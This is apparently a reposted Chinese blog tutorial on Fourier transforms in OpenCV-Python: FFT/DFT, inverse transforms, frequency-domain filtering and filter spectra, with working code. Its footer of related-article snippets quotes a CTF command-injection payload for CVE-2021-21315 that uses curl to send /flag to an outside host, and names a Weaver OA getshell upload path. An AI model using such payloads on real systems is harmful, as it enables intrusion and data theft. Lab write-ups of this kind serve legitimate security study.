OpenCV-Python中的图像处理-傅里叶变换

OpenCV-Python中的图像处理-傅里叶变换

  • 傅里叶变换
    • Numpy中的傅里叶变换
    • Numpy中的傅里叶逆变换
    • OpenCV中的傅里叶变换
    • OpenCV中的傅里叶逆变换
  • DFT的性能优化
  • 不同滤波算子傅里叶变换对比

傅里叶变换

  • 傅里叶变换经常被用来分析不同滤波器的频率特性。我们可以使用 2D 离散傅里叶变换 (DFT) 分析图像的频域特性。实现 DFT 的一个快速算法被称为快速傅里叶变换( FFT)。
  • 对于一个正弦信号:x (t) = A sin (2πft), 它的频率为 f,如果把这个信号转到它的频域表示,我们会在频率 f 中看到一个峰值。如果我们的信号是由采样产生的离散信号组成,我们会得到类似的频谱图,只不过前面是连续的,现在是离散。你可以把图像想象成沿着两个方向采集的信号。所以对图像同时进行 X 方向和 Y 方向的傅里叶变换,我们就会得到这幅图像的频域表示(频谱图)。
  • 对于一个正弦信号,如果它的幅度变化非常快,我们可以说他是高频信号,如果变化非常慢,我们称之为低频信号。你可以把这种想法应用到图像中,图像那里的幅度变化非常大呢?边界点或者噪声。所以我们说边界和噪声是图像中的高频分量(注意这里的高频是指变化非常快,而非出现的次数多)。如果没有如此大的幅度变化我们称之为低频分量。

Numpy中的傅里叶变换

Numpy 中的 FFT 包可以帮助我们实现快速傅里叶变换。函数 np.fft.fft2() 可以对信号进行频率转换,输出结果是一个复杂的数组。本函数的第一个参数是输入图像,要求是灰度格式。第二个参数是可选的, 决定输出数组的大小。输出数组的大小和输入图像大小一样。如果输出结果比输入图像大,输入图像就需要在进行 FFT 前补0。如果输出结果比输入图像小的话,输入图像就会被切割。
f = np.fft.fft2(img)
现在我们得到了结果,频率为 0 的部分(直流分量)在输出图像的左上角。如果想让它(直流分量)在输出图像的中心,我们还需要将结果沿两个方向平移 N/2 。函数 np.fft.fftshift() 可以帮助我们实现这一步。(这样更容易分析)。进行完频率变换之后,我们就可以构建振幅谱了。
fshift = np.fft.fftshift(f)

import numpy as np
import cv2
from matplotlib import pyplot as pltimg = cv2.imread('./resource/opencv/image/messi5.jpg', cv2.IMREAD_GRAYSCALE)
f = np.fft.fft2(img)
fshift = np.fft.fftshift(f)# 构建振幅图
magnitude_spectrum = 20*np.log(np.abs(fshift))plt.subplot(121), plt.imshow(img, cmap='gray'), plt.title('Input Image')
plt.subplot(122), plt.imshow(magnitude_spectrum, cmap='gray'), plt.title('Magnitude Spectrum')
plt.show()

在这里插入图片描述
我们可以看到输出结果的中心部分更白(亮),这说明低频分量更多。

Numpy中的傅里叶逆变换

  • 对图像进行FFT变换之后得到频域图像数据,然后再做IFFT变换又可以得到原始图像。相关函数:np.fft.ifftshift(),np.fft.ifft2()
    fishift = np.fft.ifftshift(fshift)
    img_ifft = np.fft.ifft2(fishift)
  • 我们可以对频域图像数据进行操作以实现一些图像处理效果,如在频域内将低频分量的值设为0,可以实现对图像的高通滤波处理:
    rows, cols = img.shape
    crow, ccol = int(rows/2) , int(cols/2)
    fshift[crow-30:crow+30, ccol-30:ccol+30] = 0
import numpy as np
import cv2
from matplotlib import pyplot as pltimg = cv2.imread('./resource/opencv/image/messi5.jpg', cv2.IMREAD_GRAYSCALE)# 1.在Numpy内对图像进行傅里叶变换,得到其频域图像
f = np.fft.fft2(img)
fshift = np.fft.fftshift(f)
# 这里是构建振幅图,显示图像频谱
magnitude_spectrum = 20*np.log(np.abs(fshift))# 2.IFFT 将频域图像还原成原始图像,这里只是验证FFT的逆运算
fishift = np.fft.ifftshift(fshift)
img_ifft = np.fft.ifft2(fishift)
img_ifft = np.abs(img_ifft) # 取绝对值,否则不能用imshow()来显示图像# 3.在频域内将低频分量的值设为0,实现高通滤波。
rows, cols = img.shape 
crow, ccol = int(rows/2) , int(cols/2) 
fshift[crow-30:crow+30, ccol-30:ccol+30] = 0 # 4.对高通滤波后的图像频域数据进行逆傅里叶变换,得到高通滤波后图像。
f_ishift = np.fft.ifftshift(fshift)
img_back = np.fft.ifft2(f_ishift)
img_back = np.abs(img_back) # 取绝对值,否则不能用imshow()来显示图像
# 构建高通滤波后的振幅图,显示图像频谱
after_sepctrum = 20*np.log(np.abs(fshift))plt.subplot(231), plt.imshow(img, cmap='gray'), plt.title('Input Image'), plt.xticks([]), plt.yticks([])
plt.subplot(232), plt.imshow(magnitude_spectrum, cmap='gray'), plt.title('Input Image Spectrum'), plt.xticks([]), plt.yticks([])
plt.subplot(233), plt.imshow(img_ifft, cmap='gray'), plt.title('Input IFFT'), plt.xticks([]), plt.yticks([])
plt.subplot(234), plt.imshow(after_sepctrum, cmap='gray'), plt.title('After HPF Spectrum'), plt.xticks([]), plt.yticks([])
plt.subplot(235), plt.imshow(img_back, cmap='gray'), plt.title('Image after HPF'), plt.xticks([]), plt.yticks([])
plt.subplot(236), plt.imshow(img_back), plt.title('Result in JET'), plt.xticks([]), plt.yticks([])
plt.show()

在这里插入图片描述

OpenCV中的傅里叶变换

OpenCV 中相应的函数是 cv2.dft() 和 cv2.idft()。和前面输出的结果一样,但是是双通道的。第一个通道是结果的实数部分,第二个通道是结果的虚数部分。输入图像要首先转换成 np.float32 格式。

import numpy as np
import cv2
from matplotlib import pyplot as pltimg = cv2.imread('./resource/opencv/image/messi5.jpg', cv2.IMREAD_GRAYSCALE)dft = cv2.dft(np.float32(img), flags=cv2.DFT_COMPLEX_OUTPUT)
dft_shift = np.fft.fftshift(dft)magnitude_spectrum = 20*np.log(cv2.magnitude(dft_shift[:,:,0], dft_shift[:,:,1]))plt.subplot(121), plt.imshow(img, cmap='gray'), plt.title('Input Image'), plt.xticks([]), plt.yticks([])
plt.subplot(122), plt.imshow(magnitude_spectrum, cmap='gray'), plt.title('Magnitude Spectrum'), plt.xticks([]), plt.yticks([])
plt.show()

在这里插入图片描述

OpenCV中的傅里叶逆变换

前面的部分我们实现了一个 HPF(高通滤波)高通滤波其实是一种边界检测操作。现在我们来做 LPF(低通滤波)将高频部分去除。其实就是对图像进行模糊操作。首先我们需要构建一个掩模,与低频区域对应的地方设置为 1, 与高频区域对应的地方设置为 0。

import numpy as np
import cv2
from matplotlib import pyplot as pltimg = cv2.imread('./resource/opencv/image/messi5.jpg', cv2.IMREAD_GRAYSCALE)
# 1.OpenCV中做DFT
dft = cv2.dft(np.float32(img), flags=cv2.DFT_COMPLEX_OUTPUT)
dft_shift = np.fft.fftshift(dft)rows, cols = img.shape
crow, ccol = int(rows/2), int(cols/2)# create a mask first, center square is 1, remaining all zeros
mask = np.zeros((rows, cols, 2), np.uint8)
mask[crow-30:crow+30, ccol-30:ccol+30] = 1# apply mask and inverse DFT
fshift = dft_shift*mask
f_ishift = np.fft.ifftshift(fshift)
img_back = cv2.idft(f_ishift)
img_back = cv2.magnitude(img_back[:,:,0], img_back[:,:,1])plt.subplot(121), plt.imshow(img, cmap='gray'), plt.title('Input Image'), plt.xticks([]), plt.yticks([])
plt.subplot(122), plt.imshow(img_back, cmap='gray'), plt.title('Output Image'), plt.xticks([]), plt.yticks([])
plt.show()

在这里插入图片描述

DFT的性能优化

  • 当数组的大小为某些值时 DFT 的性能会更好。当数组的大小是 2 的指数时 DFT 效率最高。当数组的大小是 2, 3, 5 的倍数时效率也会很高。所以如果你想提高代码的运行效率时,你可以修改输入图像的大小(补 0)。对于OpenCV 你必须自己手动补 0。但是 Numpy,你只需要指定 FFT 运算的大小,它会自动补 0。
  • OpenCV 提供了一个函数:cv2.getOptimalDFTSize()来确定最佳大小。它可以同时被 cv2.dft() 和 np.fft.fft2() 使用。
import numpy as np
import cv2img = cv2.imread('./resource/opencv/image/messi5.jpg', cv2.IMREAD_GRAYSCALE)
rows,cols = img.shape
print('原始图像大小:',rows, cols)
nrows = cv2.getOptimalDFTSize(rows)
ncols = cv2.getOptimalDFTSize(cols)
print('DFT最佳大小:',nrows, ncols)

原始图像大小: 342 548
DFT最佳大小: 360 576

import numpy as np
import cv2
from matplotlib import pyplot as pltimg = cv2.imread('./resource/opencv/image/messi5.jpg', cv2.IMREAD_GRAYSCALE)
rows,cols = img.shape
print('原始图像大小:',rows, cols)
nrows = cv2.getOptimalDFTSize(rows)
ncols = cv2.getOptimalDFTSize(cols)
print('DFT最佳大小:',nrows, ncols)# Numpy数组操作,原图扩大到最佳DFT size
nimg = np.zeros((nrows, ncols))
nimg [:rows, :cols] = img# 
right = ncols - cols
bottom = nrows - rows
# just to avoid line breakup in PDF file
mimg = cv2.copyMakeBorder(img, 0, bottom, 0, right, cv2.BORDER_CONSTANT, value=0)plt.subplot(231), plt.imshow(img, cmap='gray')
plt.subplot(232), plt.imshow(nimg, cmap='gray')
plt.subplot(233), plt.imshow(mimg, cmap='gray')
plt.show()

在这里插入图片描述

不同滤波算子傅里叶变换对比

为什么拉普拉斯算子是高通滤波器?为什么 Sobel 是 HPF?等等。对于第一个问题的答案我们以傅里叶变换的形式给出。我们一起来对不同的算子进行傅里叶变换并分析它们:

import numpy as np
import cv2
from matplotlib import pyplot as plt# simple averaging filter whitout scaling parameter
mean_filter = np.ones((3,3))# creating a guassian filter
x = cv2.getGaussianKernel(5, 10)
# x.T 为矩阵转置
gaussian = x*x.T# different edge detecting filters
# scharr in x-direction
scharr = np.array([[-3, 0, 3],[-10, 0, 10],[-3, 0, 3]])# sobel in x direction
sobel_x = np.array([[-1, 0, 1],[-2, 0, 2],[-1, 0, 1]])# sobel in y direction
sobel_y = np.array([[-1, -2, -1], [0, 0, 0], [1, 2, 1]])# laplacian
laplacian = np.array([[0, 1, 0], [1, -4, 1],[0, 1, 0]])filters = [mean_filter, gaussian, laplacian, sobel_x, sobel_y, scharr]
filter_name = ['mean_filter', 'gaussian', 'laplacian', 'sobel_x', 'sobel_y', 'scharr_x']fft_filters = [np.fft.fft2(x) for x in filters]
fft_shift = [np.fft.fftshift(y) for y in fft_filters]
mag_spectrum = [np.log(np.abs(z)+1) for z in fft_shift]for i in range(6):plt.subplot(2,3,i+1), plt.imshow(mag_spectrum[i], cmap='gray')plt.title([filter_name[i]]), plt.xticks([]), plt.yticks([])
plt.show()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/39036.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Unity Spine帧事件

SpinePro中添加事件帧 首先 选中右上角的层级树 然后选择事件选项 最后在右下角看到 新建 点击它 新建一个事件 点击左上角的设置按钮 弹出编辑窗口 编辑窗口 在右上角 动画栏 可以切换对应的动画 点坐边的那个小灰点来切换 亮点代表当前动画 选中帧 添加事件 点击对应事件…

突破防线!泛微OA任意文件上传Getshell

子曰:“巧言令色,鲜矣仁。” 漏洞复现 访问漏洞url: 存在漏洞的路径为 /weaver/weaver.common.Ctrl/.css?arg0com.cloudstore.api.service.Service_CheckApp&arg1validateApp漏洞利用: 漏洞证明: 文笔生疏&…

ubuntu 20.0.4 搭建nvidia 显卡环境

一、安装docker 1、安装dokcer sudo apt install docker.io2、docker 添加到用户组 创建docker用户组 sudo groupadd docker添加当前用户加入docker用户组 sudo usermod -aG docker ${USER}重启docker服务 sudo systemctl restart docker切换或者退出当前账户再从新登入 …

openGauss学习笔记-41 openGauss 高级数据管理-匿名块

文章目录 openGauss学习笔记-41 openGauss 高级数据管理-匿名块41.1 语法41.2 参数说明41.3 示例 openGauss学习笔记-41 openGauss 高级数据管理-匿名块 匿名块(Anonymous Block)是存储过程的字块之一,没有名称。一般用于不频繁执行的脚本或…

NPM与外部服务的集成(下)

目录 1、撤消访问令牌 2、在CI/CD工作流中使用私有包 2.1 创建新的访问令牌 持续整合 持续部署 交互式工作流 CIDR白名单 2.2 将令牌设置为CI/CD服务器上的环境变量 2.3 创建并签入特定于项目的.npmrc文件 2.4 令牌安全 3、Docker和私有模块 3.1 背景:运…

移远RM500U-CN模块直连嵌入式ubuntu实现拨号上网

目录 1 平台: 2 需要准备的资料 3 参考文档 4 编译环境与驱动移植 4.1 内核驱动添加厂家ID和产品ID 4. 2.添加零包处理 4.3 增加复位恢复机制 4.4 增加批量输出 批量输出 URB 的数量和容量 的数量和容量 4.5 内核配置与编译 5 QM500U-CN拨号(在开…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台,curl请求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含义

文章目录 一、简介二、如何使用2.1、在IDEA中安装Lombok插件2.2、添加maven依赖 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…

JavaScript 中常用简写技巧总结

平时我们写代码时最高级的境界是自己写的东西别人看不懂!哈哈哈!分享一些自己常用的js简写技巧,长期更新,会着重挑选一些实用的简写技巧,使自己的代码更简洁优雅~ 这里只会收集一些大多数人不知道的用法,但…

网络原理(JavaEE初阶系列11)

目录 前言: 1.网络原理的理解 2.应用层 2.1自定义协议的约定 2.1.1确定要传输的信息 2.1.2确定数据的格式 3.传输层 3.1UDP 3.1.1UDP报文格式 3.2TCP 3.2.1确认应答 3.2.2超时重传 3.2.3连接管理 3.2.3.1三次握手 3.2.3.2四次挥手 3.2.4滑动窗口 3.…

bigemap如何添加mapbox地图?

第一步 打开浏览器,找到你要访问的地图的URL地址,并且确认可以正常在浏览器中访问;浏览器中不能访问,同样也不能在软件中访问。 以下为常用地图源地址: 天地图: http://map.tianditu.gov.cn 包含&…

51单片机的管脚介绍

图文介绍 纯文字说明 单片机管脚相关结构及其作用如下 电源正极引脚 一般接5V电源,为单片机提供正常工作时的电压。 电源负极引脚 接地。然后才开始工作。 时钟引脚 18、19脚为时钟引脚(XTAL2、XTAL1)。单片机内部有大量的数字电路&a…

SringBoot-响应

响应数据 如何加载响应数据呢 其实在SpringBoot,已经有名为RessponseBody的方法注解为我们提供的响应的方法,他的作用是将方法返回值直接响应,如果返回值类型为实体对象/集合,则会转换为JSON格式响应。 而RestController已经在内…

Java真实面试题,offer已到手

关于学习 在黑马程序员刚刚开始的时候学习尽头非常足,到后面逐渐失去了一些兴趣,以至于后面上课会出现走神等问题,但是毕业时后悔晚矣。等到开始学习项目一的时候,思路总会比别人慢一些,不看讲义写不出来代码。 建议…

Lie group 专题:Lie 群

Lie group 专题:Lie 群 流形 流形的定义 一个m维流形是满足以下条件的集合M:存在可数多个称为坐标卡(图集)的子集合族.以及映到的连通开子集上的一对一映射,,称为局部坐标映射,满足以下条件 坐标卡覆盖M…

【数学建模】--灰色关联分析

系统分析: 一般的抽象系统,如社会系统,经济系统,农业系统,生态系统,教育系统等都包含有许多种因素,多种因素共同作用的结果决定了该系统的发展态势。人们常常希望知道在众多的因素中,哪些是主要…

leetcode 面试题 02.05 链表求和

⭐️ 题目描述 🌟 leetcode链接:面试题 02.05 链表求和 ps: 首先定义一个头尾指针 head 、tail,这里的 tail 是方便我们尾插,每次不需要遍历找尾,由于这些数是反向存在的,所以我们直接加起来若…

如何安装Python?

如何安装Python? 安装Python非常简单,让我们一步步来进行。 1. 访问官方网站 首先,您需要访问Python官方网站(https://www.python.org/)。在首页上,您会看到一个大大的「Downloads」按钮,点击…

【Redis实践篇】使用Redisson 优雅实现项目实践过程中的5种场景

文章目录 1.前言2.使用方式1. 添加Redisson依赖:2. 配置Redis连接信息3. 使用场景3.1. 分布式锁3.2. 限流器(Rate Limiter)3.3. 可过期的对象(Expirable Object)3.4. 信号量(Semaphore)3.5. 分布…

任我行CRM系统存在 SQL注入漏洞[2023-HW]

任我行CRM系统存在 SQL注入漏洞 一、 产品简介二、 漏洞概述三、 复现环境四、 漏洞复现小龙POC又是一通哈拉少 五、 修复建议 免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及…